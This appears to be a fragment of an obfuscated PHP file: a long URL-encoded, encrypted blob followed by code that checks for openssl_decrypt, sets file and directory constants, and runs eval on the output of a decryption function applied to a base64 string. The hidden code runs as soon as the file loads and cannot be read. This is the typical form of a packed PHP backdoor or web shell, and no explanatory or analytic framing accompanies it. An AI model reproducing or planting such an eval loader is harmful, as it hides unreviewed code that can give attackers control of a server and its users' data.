wJ7hfINxqtBJ9ksE8qb39JhNtnZTNZdwE6196Ndoj4%2FmAJd%2BzfQNdJk99a9dkfztj7eLB5NUZbLe%2Bn5%2Fj6dmqCbJ%2BHzW6%2F0HuZ1gcsMxgdZ3VxYwAf84AJ88QXuybMzWGnvg%2F3eOCnwvWd7sejbKFsSOA9Yr9%2F3zN%2BXZbc19hNdd1lMfNQ1zDB1B3APYb%2Fx%2BfjdQd1kvgdZGiDfOSxNut8w5tOs5x4YX%2BSyyha6yhZ0ty35%2FQp6I73309EltHpD5MPLefyB6x8ldm%2BauIHTDf%2Fyc7rHbGYCHYPsGKBu1vug9OnN4XyE7sD4vI04ITAvOzKS7mjjuX63d1FlpddYXdi93dPxuld9f4c30P2OkQl8ubFCvlcii2P3J8jqSbpfzLpDGHvlRob5HDdyspY9D%2BufxYYJutDe8XLzYboB8FUvQFnrGeZt4uvrF%2FS16W28bvIxmyeNt6mmS%2FH3bR1jfwE54MP5gL6X%2BEDf%2F4L1bkGOnaaT0F7MI1NfL%2Fu%2B5Z58oN%2BRtfrPpLtqR6g7PodAz8kJ1ge6Ven7FsA3UVc4%2FJya3XjQHlHdyHyi%2B4v74V3GjeQWdQvreVbpOTROIBfsFcju3bQH9GG8X98G%2FsvbjMnl0s8T8vnY7Ob3s53TnTqgW8ycPt6%2F3nnW9drLrUqv7PldewHro%2FQFfNMB3Qn5w2zjLoA%2FHJ2BuxmBnkDfbz4vivvB3%2FfTnSFfvK5BLu8nz%2FYL8ouf8%2F0KPjdA17b1%2B%2BIWdKXFVteVf05Rz9mW4T6sETNs3mh%2FRDuQAR1uYyVNbx6CLtdsyvfHQK%2F7G7GtzOll0Q2n3jxqjmfb5gL5PcqpNN5NevFhMSXzA7kMurDhd0aJfwCbxvYG8DnQZ2j5TdBlE8%2B6wN57PVhPc7RJULe7gi4INh3YsLP9ykkCSu9AT%2Fz3sRHCfdkfR9s4cPrXv1Cu4u9MT0hRTmIajLdtOp7lHcOu0EPCJfIzP7qCXHwOn9uhA%2BeJtkpohcPYitGGBHnivnhg27kTsHWMZhP0kD7In4nQ1UEPDCx7P55QPQl%2FZ%2Fx9DXtL5wf7AzQdONPmaDppG4I%2FT5IJzHfm93B%2BIJe3ibivUR91Yf9Avs%2FXS%2FnfS4i2bL%2F1ArbaBO4x0lMf6Gnio5cExpkCP%2Fa2rTnooRegn6efXbjvQI9Ar%2Fsp%2Bm9naGuEG88MTaRnuM%2FnaeqCLbBF%2FnSJrF6ANjTo4h8%2B8oftaTLarFK0LUHv9IG%2BDpN0tV4mYOuAXozyFjRm4J9g%2B1lNZT9%2BlPK%2FcaLyO%2F%2FntOcd3IHrvzFbZQzrm4FeCPR%2BAD3tuDDb8xnMdzl3L8IWMvbPID8vaMuj7ePtwPYBPRb46QL5U2QlKK9PcH475Od%2BauJ%2BHmdbeN5yQS8%2FMf4aH8bp8Ab0B%2Bu3pz7s3zjx9sDvRiNz3%2FWff5gTI%2FkP3p%2FQOr2AHtVBfgR67szz7ZFP6C35j9s3PdCL%2F%2FL7iS3md6N6YKjrgTb6JMbpia67T%2BX%2ByOwdl30f5rm3Qd%2BfTg1%2FNvHhnNR9t9wh2iu471OwcyamB3w38YAuiF7Cvr8Fmxnpduz33J6%2FNace0aeJj2C3MPZgX6wseq%2B6QJet6WLH9gH0iMWgDXKa24QoQ0F%2F3HDbSeUX%2BTyo31eCV4X%2BVKuVLbKTsbRaR1E%2FndLPeaxQ9ZEGAgNUq5GGMTFebuixKatJ8B1JvUOS9yuj33HFYtH283LnY51Hhvkai7lzjuckV0f6nLcui68hvxuV%2FR1zCs56fY9d3iuLx1U4LzVckWs8SpNz2Dldlg0baxTInnmpTXBkvB3mrzB%2FIfc1F%2BIf1K6dok7eYbgeFTVDHL8U9kfPQabfLdYJ3Zyrc3ME%2Ft6LqeEGIh5LVf0JiU%2BRGKGos6DYYxL3BsfzbywXio2l43lxnIbcGGZEaysfwGyzLwF%2FDuMHn8NJW0cDnu%2Fnj8K5LXIYOJaG6lO%2Fgylx%2BDpOQ47uCX0Q2s%2FTFIk95%2FbqHO5Efc5E1NDQz0h%2FGHEPeN8fQd%2F0bGTMxH5mcZQb7IUVzof378qX70Rvs8hM4Z%2FBe%2FHwPbD8LE797Iv0yddWlpPP88kR6x%2F4%2B5DHPcbe1PzL7%2Fq%2FRlOvO1XynwWOhEn2hWH8lNABrdnDeE9JLR%2F7bmE%2B0c2ZODeJn3Xy2b3gPOAx%2FMM5y1GUtVSV9yGwHH4fnqvuQgXOTCNI3Qu%2F99O%2Bn%2F0J1l%2F5uXq8Riw%2Fb6V2LE9zxZyN8jxdli8FNK7m4VXHvwr4x2W4ARvZOyHgvRuNmhzWzB1ENBb63IY5t5Nl4fu2iOe%2BgJylfaRlr%2BQ5wYJ2DZGTQPGyf%2BE%2BkvjJzmN1%2FdW9CZWYeuN%2BXijYL7k%2BMogPPSLzIjggFtynLdxxpacS3YPcGuC%2BeLc%2FHKNqrTR2t358zOo8LMTMdo%2FLhquttyJPPh9fzfW4rqkBqYizBrv2Rsn1LtLQzE2VHiF9ikFk94Pdj3Mg6jTK%2FHxVa1ZzUbcWy6dO3gQWfLwJsuOJxFq3oUFqRbfhmmCMa783N%2FW9ZEcXuDccw6F2%2FhV7rdW9u2vWCwzuQ8V4B1GTXF9bkL3IWufqepI1x9MKanof5XTmuji0thbSP0zu%2Ba59e7F65lsHeY9zCBt2EiGudofvj1bzdonSaWW%2BTg7zqrLupbL%2BAPSvqLYGNRE80CH6rnfC50H%2FvYAuceS9bGjMBmRbr0X0ZBKvqaq3VPNmJyy3nZ0z5sDLnBX7QnW6odIPukCXF4o581AdIalJqqPjXG0l7r2KZ35acqxzfQ3k%2FeFczjvKTqt4%2FhtzAZ5frBj0qx8HvANRX%2FQ54LpHPtegpJeSnjNaU8%2BXqwkWeURSL6jI6wisQOmXJ%2Fc3yPi952eci8tZzpfOmdSVW%2B7mJTOpPSXpapP%2F%2FTV1avuRgawF%2Bcl6vdeu4VEeSfvfyfPMj%2FcpeqvgUU6BRzHcx3L%2BmMtpRXpRbfDl7HLl%2FcDUtZD3p3LPo4FzCOb%2BE5E92WkXpf7lxbI3%2Bh3jOh7yt0p8lj%2BXhULf%2FKQsTB15j6hOVsgviToPyxnlrFeIJSlwWIBPJ1Gq39cCbQIPrJEvWVG%2BVNBN9g%2FiU%2Br%2BfplPyX%2BX5LRjn4iSvHzam8JDnOnS3hR0TMb%2FDrUYg1ZXzes6qLUSpdhUCk2Mxnp%2Bsqyfb%2F4CmxS%2BJ3TSBtAds61EXbJa%2B9NWsXVq6kdXxZpKtbakq%2FnteO%2Faz40X9xFDIzLM1XKtYr3Te0touD5%2Fe5XDJGZ1igrmX9JK3hDzaMBz2uKVxB3gdcWPn1Ng9Y7LXsvEXiNzC22kL48r988gdPd%2F%2Fj9zpPdC';if(!function_exists('openssl_decrypt')){die('<h2>Function openssl_decrypt() not found !</h2>');}if(!defined('_FILE_')){define("_FILE_",getcwd().DIRECTORY_SEPARATOR.basename($_SERVER['PHP_SELF']),false);}
if(!defined('_DIR_')){define("_DIR_",getcwd(),false);}$e7091="WitRVDRlTnV1UkliMGpLdndRb1NQMW5HK01ESU5nOGRFYWFIc3cvTjNXK054QWozQjB5Z2kzcWdxR3YwWmlTME1FMEREOTZWVWdOcUs1SEJCcUdPc0JRaTU1Tlg0eFQ0aWFMTU4xczVZR2JjWWwyeVJTRFJPTlpydExpN1VZMno=";eval(e7061($e7091));